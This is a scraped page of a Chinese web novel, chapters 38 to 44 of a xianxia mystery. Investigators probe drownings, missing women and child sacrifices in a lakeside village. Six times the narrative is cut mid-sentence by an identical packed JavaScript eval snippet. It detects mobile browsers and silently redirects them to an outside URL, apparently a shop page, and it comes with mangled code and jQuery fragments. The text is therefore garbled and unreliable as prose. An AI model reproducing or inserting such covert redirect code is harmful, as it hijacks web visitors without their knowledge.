“姑娘可真是说笑了,方才船上只有我们几人,哪里来的孩子?老夫耳中听到的只有船桨划过河水的声音。”他说的坦坦荡荡,倒不像是在撒谎。 傅霖没有揭穿他的伪装,换了个问题问道:“那许是我们听错了,老伯可知此地管事儿的是谁?又家住何处?” 那老伯的笑僵在了脸上,随后摸了摸鼻子道:“实不相瞒,我们坞长这几日......不在村里。” “是么?人不在村儿里,房子还能一道儿跟着跑了不成?” “房子自然是在的。” “那老伯有时间带路么?” “公子可饶了我吧,我哪有时间啊,这不还要赶着回去接人呢。”老伯边说边要走,傅霖上前拦住了他的去路。 老伯正怒气冲冲地瞪着拦住他去路的几个年轻人,心里已经开始盘算着怎么骂他们,突然听到身后传来一阵桨声和女子的呼喊声。 他转过头去,看到一艘小船划了过来,船上坐着一名年轻女子,她身材纤瘦,皮肤黝黑,模样也生得并不漂亮,尤其是右脸处有一块拳头大小的红色胎记,让人看了心生不适。 "泗叔,这是怎的了?"那姑娘将船停靠岸后,便急忙跳下来,向他们走了过来。她的目光先落在泗叔身上,然后扫过面前的几个年轻人,眼神里流露出一丝疑惑。 她本来以为是坐船的人没给够钱,才导致泗叔这么生气,但走近一看,发现这几个人衣着不凡,气质高雅,看起来都不是缺钱的人。 许是同最近村里发生的事情有关?可他们若是来办正事儿的为何要拦着泗叔的去路? 泗叔看见她仿佛见了救星一样,立马消了气,脸上露出欣喜之色,说道:“沄儿回来啦?是这几位大人想去坞长那,我都说了坞长不在,他们还是想去一趟,可我哪有空闲的时间陪他们去,你如今来得正好!若没事的话就陪这几位大人走一趟吧。” 丘沄听后,点着头回答道:“我眼下确实没啥旁的大事儿,不过阿爷咳疾犯了,得等我先把药送回家。”她边说边晃了晃手中的草药包,表示自己需要先处理这件事情。 “无妨,我们同你一起去吧。”楼淑姣说道。 她倒不是怕这姑娘言而无信一去不复返,只是觉得这村子虽然看着不大但整个逛下来也需要一些时间,况且多走几步就能多看几处。 “好!那麻烦几位大人移步跟我走吧。”邱沄看着泗叔安全上船后才带他们进入村子。 不知道是不是因为连续死人的缘故,整个村庄都显得异常安静,就连过路的行人也神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170786|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色匆匆的着急赶路。然而,这里的房屋却修缮得十分整齐,丝毫没有破败的迹象。 在路过一些大门微敞的房子时,可以清楚地看到里面空荡荡的院子,给人一种说不出的冷清。 他们默默地跟在丘沄的身后,这种诡异的氛围让每个人都感到压抑。这里听不到闲人谈话的声音,也听不到猫狗打闹的声音,整个村庄似乎沉浸在一片死寂之中。 路过房屋之间的缝隙可以看到后面的田地,整整齐齐的种着水稻,有些小块的田地上还种着蔬菜。 “还请几位大人在这等我一下,我去去回。”丘沄在一处屋子前停了下来,待离他最近的秦在锦点头示意后她才推门而入,同时还不忘将门合上。 等人在进去走远了以后秦在锦才开口说话,“我觉得这里怪怪的,而且好像走到哪都有人在盯着一样。” “而且!最重要的是!不是说村里死人了么,怎么没有看到一家办丧事的?”林惠婵说道。 楼淑姣点点头,接着她的话往下说道:“我在来之前曾查阅过关于深塘坞的卷册。据记载,几十年前这里只是一个小小的渔村,村民们靠捕鱼为生。可每到梅雨季节,这里便频繁遭受水灾的侵袭,这些水灾给村民带来了数不清的损失,更甚者会抢走他们的生命。” “但奇怪的是,最近这几十年间,相关的卷册上再也没有记录下这个村子发生水灾的事件。而且还有一点让我感到疑惑的是,这个地方与其他村庄有所不同,这里地处偏远,交通不便,农田稀少。我原本猜测在这里生活的人们可能会面临诸多困难,吃穿用度都会比较拮据。但现在看来,却又并非如此。” 这章没有结束,请点击下一页继续 阅读! 第39章 惹人厌 项阳,中律司名列前茅的记录员。他这人做任务时铁面无私公平公正是一回事,更重要的经他之手的任务从未失败过,无论是发生任务等级变更还是出现人员伤亡的情况下都不妨碍他最终能让任务在可控的时间内圆满完成。 而且他这人同别的记录员不同的是——他十分看重结果,无论你是名门正派还是邪魔歪道,只要你在接下任务书后完成任务,那在他的名册上你就是这个任务的第一名。 傅霖无奈的笑了笑没说话,因为不知从什么时候开始中律司的任务就变了性质。 大多数人都只是想通过完成任务来让自己一举成名,但却鲜少有人在意那一个个任务背后所承受伤害的无辜百姓。 所以他才会在江洵下山时问江洵可知何为“任务”。 有的人为了保护自身而执剑,有的人为了守护他人而执剑,还有些人则是为了杀人和掠夺而执剑。 如今的任务亦然,有人是为了功名利禄,有人是为了天下太平。 傅霖从都不认为自己是一个善良正直的人,也没未想过承担守护芸芸众生的重任。 可是那如小鹿般纯真的目光盯着他时,他做不到视而不见; 那如萤火般微弱的生命向他求救时,他也做不到听而不闻。 人一旦心生恻隐,执剑的手便不再雷厉风行。 “不过嘛……咱们之间交换线索也不是不可以。”仝舟翘着二郎腿说道。 林惠婵直接回了个白眼给他,既然那么想当第一就自己找线索去吧! “家里没有其他人了么?”楼淑姣问沛婶儿。 “没……没有,都出……出去……去了。沛婶儿强忍着腿上的疼痛回话,额间布满了汗水,嘴唇也有些苍白,看起来很是虚弱。 楼淑姣见状,连忙掏出了自己的帕子递给她,温柔地说:“擦擦汗吧!” 但沛婶儿却摇了摇头拒绝了,她怕弄脏了姑娘的帕子。 然而,楼淑姣并没有在意这些,“这帕子送给你了就是你的,你且拿着用吧。”说着,她蹲下身来,将帕子又递近了一寸,让沛婶儿能够更方便地接过它。 沛婶儿眼中闪烁着泪花,虽然只是一块小小的手帕,但却传递出了无尽的关怀和善意,和蹲在这儿给她包扎伤口的小公子一样都是心善的人,沛婶儿小心翼翼地接过帕子,轻轻地擦去了额头上的汗水。 “婶婶这几日最好还是卧床休息,不要东奔西走。”秦在锦将她腿上的伤口包扎好以后,又留下来一些治疗跌打损伤的药。他猜测沛婶身上除了他能看到的这些以外肯定还有别的伤口,但人既没有主动开口说,他也不好强行查看。 “谢……谢……大人。”沛婶低着头道谢。 她将自己蜷缩在那里,就连回话的时候也低着头不敢直视人的眼睛。 “婶婶可知他们什么时候回来?”楼淑姣问道。 沛婶摇了摇头没说话。 江洵侧身拍了拍秦在锦的后背,一是示意他找个地方坐别一直蹲在那,二是提醒他问一下后山的事儿。 秦在锦明白江洵的意思,于是一边收拾药箱一边试探性的问道:“沛婶儿,向您打听个事儿呗。” 他的声音带着些小心翼翼,仿佛生怕被拒绝一般。望着人的眼神里充满了期待和好奇,让人忍不住想要满足他的请求。 不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170787|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说,秦在锦放低姿态笑着同人讲话的时候确实显得格外单纯,尤其是那两个酒窝衬的他像是邻家的小男孩,亲切而又可爱。 沛婶刚受了他的恩惠,眼下更加不好拒绝了,只好由着他问。 “我想知道这后山……去不去得?” 听到“后山”二字的时候,沛婶的脸色忽然变得凝重而紧张,嘴唇微微颤抖着,身体也不由自主地紧绷起来,像是突然被一股强大的力量束缚住一般。 她的肩膀微微耸起,双手紧紧地抓住衣摆,眼神飘忽不定,甚至呼吸都变得急促起来。 突然,“哐当”一声,那只立在墙上的铁锹倒了。 沛婶儿被这突如其来的声响惊吓到了,她猛然离开凳子,跪倒在地上,同时紧紧用胳膊护住头部,嘴里反复呢喃道:“不……不敢了……错……错了……我……我……不敢了……” 秦在锦见她这样哪还敢向她打听后山的事儿,伸手轻拍着沛婶的背,动作轻柔而缓慢,仿佛在安抚一只受惊的小动物。 随着他的安慰,沛婶的情绪逐渐平复下来,但眼中仍透露出恐惧和不安。秦在锦心中不禁涌起一股怜悯之情,他没再继续追问关于后山的事情,以免再次刺激到沛婶。 秦在锦另一只手默默从怀中掏出一根细小的银针,轻轻插入了沛婶的后脑勺处。这根银针如同一丝微弱的光芒,悄无声息地刺入皮肤。没过多久,沛婶的身体微微颤抖了一下,随后双眼缓缓闭上,陷入了昏迷之中。 秦在锦轻轻叹了口气,从沛婶儿这恐怕很难打听到有用的消息了。“这后山……”他回头看向江洵。 这章没有结束,请点击下一页继续阅读! 第40章 炸毛猫 傅霖一向睡觉很轻,所以当那人轻轻推开门时,他立刻就察觉到了。然而,他并没有起身查看,因为他已经感觉到那个人的修为在自己之上。 今天小小的深塘坞竟然出现了两位修为不低的人,这让傅霖感到十分惊讶。更令他疑惑的是,这里有那么多房间可供选择,为何这人偏偏来到了他们所在的这间?而且,那人站在这里那么长时间,究竟在观察什么呢?或者说,是在寻找某种东西? 傅霖看了一眼背对着他的江洵,心里不禁叹了口气。好吧,他承认刚才对江洵说的话可能有些过重,但那都是事实啊! 忠言虽刺耳但利于行! “睡吧,我守着。”傅霖对江洵说道。 后半夜的傅霖确实没怎么闭眼休息,他怕那人去而复返。 如今他身上的伤还未痊愈,而这房间里一个睡得那么死一个又......算了。 这儿总得留一个清醒的人,倘若真的来者不善,他得给江洵争得一个逃跑的时机。 江洵眼下就像只炸了毛的猫儿,他其实不是气傅霖,而是在气自己不争气。 要是自己修为再高些就好了,要是自己再聪明一些就好了。 也许是身旁有人守着吧,江洵困意渐渐袭来就这么睡了过去。 一夜无梦。 第二日天快亮的时候秦在锦才悠悠转醒,睡眼惺忪间,他习惯性地伸手往旁边一摸,嗯,人还在,他们又度过了一个平安夜。 秦在锦起床一边穿衣一边打量墙上的几幅画,眼睛一撇看到了坐在窗边背对着他们的傅霖。 他走过去刚想开口同他打声招呼,问他昨晚睡得怎么样,只是这话还未开口就被眼前的景象惊得倒吸一口凉气。只见傅霖敞着衣裳,右肩肩膀处到胸口的位置有块拳头大小的伤口,看上去触目惊心。 秦在锦瞪大了眼睛,从这伤口表面来看,估计是受伤有一阵子了,只是因为伤口反复裂开所以导致没有彻底愈合。而且不仅是肩膀这一处受了伤,小腹和肋骨处也都有着淤青,这人之前到底是遇上了什么麻烦? 寻常人受这么重的伤,至少也要卧床休息两三个月,他竟然还敢接任务到处奔波! 秦在锦忍不住开口问道:“傅兄,这伤……”但话说到一半,又硬生生咽了回去。 傅霖既然背着他们换药那就是不想提及此事,对于旁人不想主动开口言说的事情他向来不会刨根问底,于是改口道:“我是大夫,我来吧。” 一个没追问伤口的来历,一个也没拒绝对方的好意。 秦在锦默默地从傅霖手中接过药瓶,小心翼翼地为他重新包扎伤口。 在上药之前,秦在锦仔细查看了一下药粉的成分,眉头不禁微微皱起。 “你这伤口几天没换药了吧?所以愈合的速度慢了些,而且你这药里若是加了紫云芝会更好一些,可惜我药箱里没带。” “无妨。”傅霖疼的声音都沙哑了,而后突然想到了什么,说道:“别告诉江洵。” 秦在锦虽然愣了一下,但手上的动作没有停下,甚至还在憋笑。 “别忍了,热了就放出来晾晾” “是是是。” 他知道傅霖虽然嘴上总是不饶人,但其实还是挺关心江洵的。 这不禁让他想到了师兄——常山,平日里虽总是对他很严厉,但每当姐姐生气要打他的时候却又会把他拦在身后替他求情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170788|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等二人忙活完以后,江洵才睡醒。 这人起床的第一件事就是去邱沄家,他今日一定要看看那口井到底是什么来历!那么让他念念不忘! 当他怒气冲冲下床的时候,不对......人呢?那俩大活人呢? 透过帘子才看到坐在窗边悠哉喝茶的二人。 不是,昨晚都发生了那样的事儿他们俩怎么还喝得下茶的? “醒啦?洵儿。”秦在锦笑着同他打了声招呼。 “我要去趟邱沄家,你俩?” “一起呗。”秦在锦喝完杯中的茶站起了身,而后傅霖才慢悠悠的打着哈欠跟上了。 三人按照昨天来时的路找了过去,但邱沄家的大门紧闭,这个点莫非还在睡觉? 秦在锦扣了扣门,三人站在门前等了一会才听到里面人说话的声音,“谁啊?” “中律司办案,有些问题想请教一下,方便开门吗?”秦在锦走到最前面说道。 开门的是位老者,来的路上能听到他时不时的咳嗽声,想必这位就是邱沄昨日说的那位“生病的爷爷”了。 丘裕溪打量了一下眼前的几位少年,等到傅霖掏出任务书给他查看的时候他才放心地将门敞开让他们进来。 江洵率先走到了那口井前,令人失望的是这井并非是他所想的那般深不见底,而是一眼就能看到底部的枯井,甚至这个底部到井口的距离并不远,这是口浅井。 难道真是自己多想了? 他靠近井口将自己方才路上捡的几块小石头扔了一块进去,只听里面传来了“咚咚”的声响,这是井底该发出的声音??? 本小章还未完,请点击下一页继续阅读后面精彩内容! 第41章 井非井 没错,女人。 他们昨日从码头到坞长家的路上一共遇到了三位女人——码头的婆婆、带路的邱沄、坞长家的沛婶儿,所以他们当时并未察觉出有何不妥。 可今日一番调查下来发现这偌大的村子里有九成都是男性,就连这些时日去世的也都是男性。 村子里的女人难不成凭空消失了? 井底的通道又通向何处? 那首童谣的背后又有什么意义? 童谣……七只羔羊,跳入深塘。 七只……又是七…… 真的只是羔羊吗? 真的是自愿跳进去的吗? 就在三人打算回去查看一下坞长家水井的位置藏在何处时,看到了不远处走来的邱沄,她的身旁还跟着一个男人。 那人的面容虽是陌生的,但衣服却是江洵熟悉的。不出所料的话,来者便是中律司的项阳了。 他和江洵想象中的有些不一样,昨天听了仝舟的描述后,他原本认为项阳会是一个非常严肃的人,至少应该是一个不苟言笑、冷若冰霜的人。 然而,当他如今真正见到项阳时,却发现完全不是那么回事儿。 打眼望过去,只见项阳和邱沄聊的十分投机,两人有说有笑,气氛融洽。而且,项阳看起来一点也不严肃,相反,他脸上挂着如沐春风的笑容,似乎对邱沄的话题非常感兴趣。更让人惊讶的是,邱沄竟然时不时地低头轻笑,仿佛被项阳逗得十分开心。 这不禁让他想到昨日的邱沄,对他们倒是十分冷漠。 真是奇了怪了,搞区别对待? 若是看脸的话,明明傅霖更胜一筹啊! 等二人走近了以后,丘沄收起了脸上的笑,“眼前儿这三位我方才同公子提起过,是昨日和另外两位姑娘一起坐船来的。” “明白,谢谢姑娘带路。” 丘沄同项阳道别后便回家了,并未多与他们三人交流。 “你不是在辛夷么?怎么跑隰城来了。”项阳一边与傅霖讲话,一边将任务的记录册交给他签字。 “避风头。”傅霖毫不在意的回道。 “怎么?又惹你师父生气了?”项阳笑着问道,毕竟看热闹不嫌事儿大。 “我哪敢呐!”傅霖签完自己的名字还顺手把江洵的一并签了,然后递给了身旁的秦在锦。 等秦在锦将记录册归还给项阳时,他笑着对秦在锦说:“你姐姐也在隰城,据我所知离咱这儿不远。” “啊?” “啊什么?你最好祈祷这次任务不难,不然我信号发出去以后,她一炷香之内必定赶来。” 秦在锦一副生无可恋的表情,若是被他姐逮到那就意味着他离回家不远了,更意味着他闯荡江湖游历四方的故事可就要告一段落了。 “那你能不发信号么。”他可怜巴巴的说道。 “不能!”项阳斩钉截铁地回,随后问道:“你们可有查到什么?” 于是四人边走边向他陈述这两日以来的所见所闻,在提到童谣的时候项阳说他的船在行至水中央的时候也曾听到过,不过鬼童倒是未曾看到。进村子以后他还特意询问了丘沄可有听过那首童谣,丘沄说这是村子里广为流传的歌谣且人人都会,他们在船上听到的应该也只是上半段。 而后,他又问到丘沄可知这首童谣的来历,但她只是沉默了一会儿说:“不清楚,打记事儿起就会唱了,大家都会的东西自然没有人过多的去追究其来历。” “我来之前特意去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170789|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衙门调查过康郡有关深塘坞的郡志和卷宗,但并未发现什么异常。”项阳说道。 “黄册你可曾查阅过?”傅霖问。 “一并看了,当时没发现什么不对。不过……若以你所说的这村子大部分都是男性的话,那这村子就很有问题了,黄册上登记的可并非如此。” 倘若人不在家中,那能够藏人的地方就只有一处了——后山。 “我向丘沄打听过,她说前几日过来查案的那几位任务员的尸体都是在后山发现的。”项阳说道。 那如今看来,这后山是非去不可了。 不入虎穴,焉得虎子。 “先把人集合起来吧,他们都在哪你们知道吗?” “我们出门之前他们还在坞长家,目前还不在就尚未可知了。”秦在锦回他。 “那先回去看看呗。”项阳同傅霖走在前方,秦在锦和江洵慢悠悠的跟在后头。 等四人到达坞宅的时候,林惠婵二人却刚打算出门。项阳见到她们并未多做寒暄,直接将记录册递给了她们签字。 “二位是要出去吗?”秦在锦问道。 “你们既已回来了那我们便用出去了,刚发现了一些线索想要找你们商量来着。”林惠婵说道。 “什么线索?”项阳问。 “方才我们在房中休息的时候听到了门外有些动静,于是打开门查看,结果发现门口放着一只蹴鞠。当时并没有看到有其他人在场,我们正打算询问一下仝楼主时,却发现他正拿着蹴鞠赶来。原来,他们的窗户被人用蹴鞠砸破了,仝楼主也以为是哪家调皮的孩子在捣蛋。然而,当他打开门后,同样也是空无一人。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第42章 七月半 等他靠着最后一丝力气游上岸的时候,看到了赶来的众人。 丘裕溪大口喘着气,他的身体颤抖着,仿佛还沉浸在恐惧之中。稍微冷静下来后他一字不落的向他们讲述刚才发生的恐怖经历。当孩子的父母听到孩子落水的消息后,他们像一阵风一样迅速潜入水底,疯狂地寻找孩子的下落。 然而,时间一分一秒地流逝,从黑夜到黎明,他们始终未能找到孩子的踪迹。几乎全村的人都出动了,他们不分昼夜地寻找,但没有一人在水中看到孩子的身影。 于是他们又沿着岸边继续搜寻,希望能发现被冲上来的尸体。 可遗憾的是,就连尸体也不曾看到一具。 几天过去了,人们逐渐接受了这个残酷的事实。 即使是成年人沉入水底,也未必能够生还,更何况是年仅七岁的孩子呢?而且,水底隐藏着许多未知的危险,孩子的尸体被其他生物吃掉的可能性并非不存在。 自从那次事件之后,每当夜幕降临,村里的老人便不再让孩子们去水边玩耍,更禁止他们眺望水中的月亮。 不知是因祸得福还是怎么的,此事过后的往后三年里村子从未出现过一次水灾,连打到的鱼都是上等的,渐渐地他们将这些鱼分类装好拿到隔壁的集市上去卖,村子也一年比一年富裕。 他们用赚来的钱财修建前往后山的道路,并在那里建造了几处避难的房屋,还屯了一些可以久放的吃食,以备不时之需。 就在人们慢慢忘记那七位孩童时,第四年的七月半来临了。 这天晚上的水面十分的平静,宛如一面镜子般映照出周围的景象。水中倒映出的月亮也大得异常,仿佛比平时更大更圆,散发着柔和的光芒。 然而,当夜晚的微风轻轻吹过,水面开始泛起了点点涟漪。这些涟漪如同细腻的纹路,缓缓地扩散开来,打破了原本宁静的湖面。 随着风越来越大,涟漪逐渐变成了波浪,开始有节奏地起伏,像是一群欢快的舞者在水面上跳跃。这些波浪逐渐变得更高更强,形成了汹涌的波涛,它们开始一点一点地向村子进击,带来了一种无形的威胁。 村民不解为什么好端端的会再次发生水灾,但当发现水位开始上升时,他们迅速收拾东西,准备向后山跑去。 但水势来得太过凶猛,完全不给他们足够的准备时间。那水先是淹没了小腿,然后升高到腰窝,最后漫至胸口。许多人被卷入其中,无法逃脱。 就在众人以为要命丧于此的时候,水像被瞬间冻住似的突然停了下来。 而后就听到孩子的哭喊声,一声声地唤着:“阿娘救我...” 自顾不暇的时候谁还能留意别人家孩子的生死,更何况水面的高度导致他们压根就看不清孩子被水冲到了何处。 就在焦急万分的时刻,他们看到远处的水面上缓缓浮上来一位左手提灯右手拿笛的孩子。那盏灯散发的并非是寻常淡黄色的烛光,而是耀眼的白光,像是装了只月亮在里面一样。 他的出现使水位在一点点地下降直至全部退回水中去,就连哭泣的孩子也乖巧的闭上了嘴。 就在大家都以为这件事可以告一段落的时候,水面上的孩子将那盏灯轻轻地放在脚边,然后拿起手中的笛子吹了起来。悠扬的笛声扣人心弦,传入了在场每一个人的耳中。与此同时,那盏灯所散发出的光芒也在逐渐变化,起初只有中间一点红色,而后开始向四周扩散开来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170790|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些孩子在听到笛声后,不由自主地一步一步朝着水边走去。 可丘御溪在听到笛声的瞬间,立刻认出了这就是三年前带走那些孩子的怪物!难道它又要故技重施吗?他紧张地观察着那几个走向水边的孩子,发现他们与当初出事的那些孩子一模一样,都是四男三女、年龄七岁左右的孩童。 丘御溪毫不犹豫地冲向前,试图拖住孩子们继续前行的脚步。因为他知道,一旦这些孩子入水,后果将不堪设想,可能就再也无法挽回了…… 孩子的父母见状也纷纷跑过去拽住自家孩子,但远处的笛声越来越清晰,那盏灯也越来越红。 是坞神啊!!!! 是坞神!!!! 这时人群中有一位老头冲着水面上的孩子喊着,他佝偻的身体亦步亦趋的向前走去,眼中闪着泪光。 丘裕溪自然不认这是什么狗屁坞神,随意掠夺孩子的性命就是神的所作所为??? 阎王办事儿都不能这么随心所欲吧! 他们不肯放手让孩子走,但吹笛子的小孩显然没有那么多的耐心了。 坞水再次袭来,只是这次的速度并没有之前那么迅速,反倒是像一个闲庭信步的小公子般不疾不徐的向前移动。 这时不知是谁小声嘟囔着:“让孩子走吧,难不成想让大家跟着一起陪葬吗!” 然后有人跟着附和:“就是就是。” 孩子的父母一脸凶狠地瞪着周围的人群,目光中充满了愤怒和绝望,仿佛要把那些可恶的人找出来。然而,河水却不断上涨,离他们只剩下几步之遥,情况愈发危急。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第43章 九爪鱼 一个年纪稍大的阿婆走上前开口问道:“几位是?” 秦在锦本想介绍的时候,身侧的项阳先他一步说道:“婆婆,我们是中律司派来查案的,你们放心,我们此番并无恶意。” 项阳边说边出示自己的令牌和任务书,他并没有直接走过去将东西给她们查看,而是停在距离不远不近的地方,两样东西一手一个。这是个安全距离,既能让阿婆们看的清楚也不至于过分紧张。 “案子……什么案子?” “住在这种深山老林的坏处就是一问三不知,看来你们还不知道吧?山下的村子死人啦!”仝舟接话道。 项阳皱眉看了他一眼,但也并未多说什么。 可她们听到“死人”二字并不惊讶,相反还笑了起来。汪秀文开口说道:“死就死了,早就该死了!怎么?难不成各位认为是我们这些老婆子杀的?” “并非如此,阿婆莫要生气。”秦在锦立即解释道。他怕事情还没调查清楚就被人轰出门外,再者说,他们上山不单单是查案,还是来救人的,总不能人没救到却还结起仇来就不好了。 汪秀文给其他几位阿婆递了个眼色,让她们先将孩子们带回屋中,省的一会儿一些不入耳的话让孩子们听了去。 她搬了个凳子自顾坐了下来,“那几位大人是因何事而来?” 项阳自知自己是不讨喜的,于是看向了秦在锦,秦在锦了然后问道:“大概是上月初开始,山下的村子里便陆陆续续有人死亡,至今已去世三十余人。我们打听了一下,了解到他们的死因皆是溺死,而后又追查出近几十年村子接连将七岁孩童活活献祭以及……以及强迫女性生育等事。我们是顺着坞长家的地道赶来的,上山的目的一是为了救你们出去,二是为了查出死因,三是为了找到凶手并杜绝后患。” 秦在锦边说边观察汪秀文的表情,她在听到山下人是溺亡的时候冷笑了一声,其他时候并无别的表情。 秦在锦不疾不徐地蹲下继续说道:“我们这两日总是会听到一首童谣,还在房间门口看到了孩子玩耍的蹴鞠。我想知道山上所有的孩子都住在这院子里吗?或者这几日可曾有孩子下山?” 汪秀文打量着秦在锦,这种带着揣摩的眼神令秦在锦十分熟悉,其中不仅包含着试探还有着怀疑,和当初沛婶儿看他时的神情一模一样。 她们不信他们,或者说她们不信中律司。 秦在锦回头看向了江洵,江洵瞬间明白了他想要说什么。于是走到项阳身旁悄声问道:“中律司之前可曾收到过关于深塘坞的案件。” 项阳思考了一番后,回道:“不曾。” “当真没有?” “没有。” 那不应该啊...... “一旦入了这道门,不学乖是不可能放出去的,更遑论下山呢。”她没好气地回,“所有七岁以下的孩子都在这里,而七岁以上则在另一个院子里养着。” 秦在锦知道这里的人不太欢迎他们,但还是笑着说道:“那阿婆可愿带我们前去?” 俗话说伸手不打笑脸人。 “也没什么愿不愿的,老婆子我就带你们走一趟吧,反正我也没啥活头了。”汪秀文刚要起身向门口走去,被楼淑姣打断了。 “阿婆再坐着歇一会儿,等我们先检查一下这处院子。” “你们不放心,那便查吧。”汪秀文摆摆手毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170791|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在意的回道。 总共三间屋子,有两间均摆着一张张整齐的床铺,看样子是孩子们睡觉的地方,屋子里有几个阿婆正在哄年幼的婴儿睡觉。每个房间里住着一些孩子估计是按照年龄大小来分配的,房间里十分整洁,床铺上都铺着干净的被褥,孩子们身上穿的也是整洁的衣服,这一切都表明阿婆们对这些孩子非常用心地照顾。 这些孩子看起来健康又活泼,见到江洵等人也不怯场,反而好奇地围过来问长问短。秦在锦微笑着回答他们的问题,不过也有一两个孩子会不自觉地跑开,然后偷偷观察他们的反应。 江洵每走一步都会小心翼翼地踩一下脚下的土地,想要验证这里是否也隐藏着地道。他观察着房间里的一切,发现窗户虽然没有被完全封死,但锁扣却安装在外面,这显然不是正常的设计,倒像是故意为之。 而在墙壁上,孩子们用木炭留下的涂鸦引起了傅霖的注意。他好奇地走近,仔细端详这些画作,或许是孩子们的思维方式与成年人不同,他无法解读这些乱七八糟线条究竟想表达什么。 “章鱼?”江洵蹲下身看着墙壁的图案揣摩道。 “你是怎么看出来这是章鱼的?”傅霖不解。 “八只手的不就是章鱼?” “若照你这么理解的话那应该是九只,这里还藏着一只呢。”傅霖弯腰用手指向那里。 如果不仔细看确实分辨不出来,大部分人会以为这是画错了的一笔。 “还真是……”秦在锦凑过来说道。 林惠婵从另一个房间过来看到的便是三个人躲在墙角看人家小孩子的涂鸦。 这章没有结束,请点击下一页继续阅读! 第44章 一寸天 “她当时下山所走的是地道么?”江洵问道。 “是,我亲眼看着那孩子走进去的,可等到了晚上也没见她回来,我便托人去寻了山下的沄儿,问她几时让阿漓回山,可沄儿说阿漓今日并未回去过。祭祀在即,坞长便派了多人去搜寻,可时至今日也没有找到一点关于那孩子的消息。”汪秀文惋惜的说着。 那么久找不到怕是已经凶多吉少了,哪怕她还活着,但一个七岁的孩子在这个地方独自活下去的概率很渺茫,除非…… 江洵沉思着捋了捋谈话的一些内容。 首先,七月十五日举行的祭祀并非是每个孩子都符合其条件。不仅要容貌长得好、脑子聪明,最重要的一点是孩子的生辰要接近七月半。这样苛刻的条件,无疑增加了寻找合适人选的难度。 其次,如果地道里真的有尸体存在,那么尸臭的味道是无法掩盖的。然而,迄今为止并未有任何发现,这意味着孩子极有可能已经逃出去了。一个年仅七岁的孩子想要依靠自己的力量逃出去几乎是不可能的事情,所以很可能存在着协助她或者主动让她逃出去的人。而这其中,必然有人说了谎。 最后,最值得推敲的就是那份献祭名单。这份名单究竟是谁拟定的呢?是一坞之长?还是通过投票选举产生的?那些同龄但又不符合条件的孩子被转移到另一个院子继续生活,可是一旦他们年满十四岁之后,又将会被送往何处呢?毕竟这个院子里并没有超过十五岁的孩子居住。 